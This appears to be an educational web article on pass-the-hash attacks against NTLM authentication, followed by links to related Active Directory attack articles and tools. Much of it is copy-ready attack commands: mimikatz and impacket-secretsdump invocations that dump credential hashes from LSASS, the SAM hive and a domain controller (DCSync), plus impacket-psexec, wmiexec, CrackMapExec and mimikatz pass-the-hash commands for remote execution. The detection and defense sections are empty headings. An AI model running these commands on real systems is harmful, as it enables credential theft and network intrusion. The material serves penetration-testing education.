Pass-the-Hash: Understanding NTLM Authentication Attacks
An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Exploiting NTLM's Architectural Weakness
Pass-the-Hash (PtH) exploits a fundamental architectural property of NTLM authentication: the protocol uses the NTLM hash of a user's password — not the plaintext — for network authentication. This means possessing the hash is equivalent to possessing the password for authentication purposes. First demonstrated in the late 1990s, PtH remains one of the most effective lateral movement techniques because it targets the protocol's design rather than its implementation.
Prerequisites
How NTLM Authentication Works
The key insight: the client-side computation uses the NTLM hash, not the plaintext password. Possessing the hash is equivalent to possessing the password for network authentication.
Extracting NTLM Hashes
From LSASS Memory
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
From SAM Registry Hive
reg save hklm\sam sam.save
reg save hklm\system system.save
impacket-secretsdump -sam sam.save -system system.save LOCAL
From Active Directory (DCSync)
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:password@192.168.1.10
Executing Pass-the-Hash Attacks
# Impacket PSExec with hash
impacket-psexec -hashes :NTHASH corp.local/user@192.168.1.10
# Impacket WMI exec with hash
impacket-wmiexec -hashes :NTHASH corp.local/user@192.168.1.10
# CrackMapExec with hash
crackmapexec smb 192.168.1.10 -u admin -H NTHASH -x whoami
Over-Pass-the-Hash
Converts NTLM hashes into Kerberos TGT tickets, bypassing NTLM restrictions:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:corp.local /ntlm:NTHASH /run:powershell.exe"
Detection
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Pass-the-Hash exploits NTLM by using password hashes directly for authentication. Combined with credential dumping and lateral movement, PtH enables attackers to move through AD environments with stolen hashes. Defenses focus on reducing NTLM usage, Credential Guard, unique local admin passwords (LAPS), and monitoring suspicious authentication patterns.
Related SMB Tool Recommendations
Knowledge Check
Frequently Asked Questions
Continue Learning
Golden Ticket Attacks: Kerberos Ticket Forging Explained
Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.
Active Directory · AdvancedKerberos Authentication and Attacks Explained: Active Directory Security Deep Dive
Kerberos authentication and attacks explained for penetration testers. Deep dive into TGT, TGS, KRBTGT account, Kerberoasting vs AS-REP roasting, and Golden Ticket attacks.
Active Directory · AdvancedLateral Movement: Moving Through Network Environments
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Active Directory · AdvancedSilver Ticket Attacks: Service Ticket Manipulation
Complete technical guide to silver ticket attacks including forged service tickets, comparison with golden tickets, creation techniques, and defensive strategies for Active Directory.
Related Security Tools
CrackMapExec
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Information GatheringEnum4linux
Learn how to use Enum4linux to enumerate Windows and Samba systems over SMB: install it on Kali Linux, run your first scan, read the users, shares, groups and password policy it returns, and switch to enum4linux-ng for modern hosts that block null sessions.
Information GatheringSMBClient
Learn how to use SMBClient on Kali Linux: install Samba's FTP-like SMB/CIFS client, list shares, connect as a guest or with credentials, browse folders, and upload or download files on Windows, Samba, or NAS devices. For authorized assessments, check ports 139/445 with Nmap before testing share permissions.
Sniffing & SpoofingResponder
Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.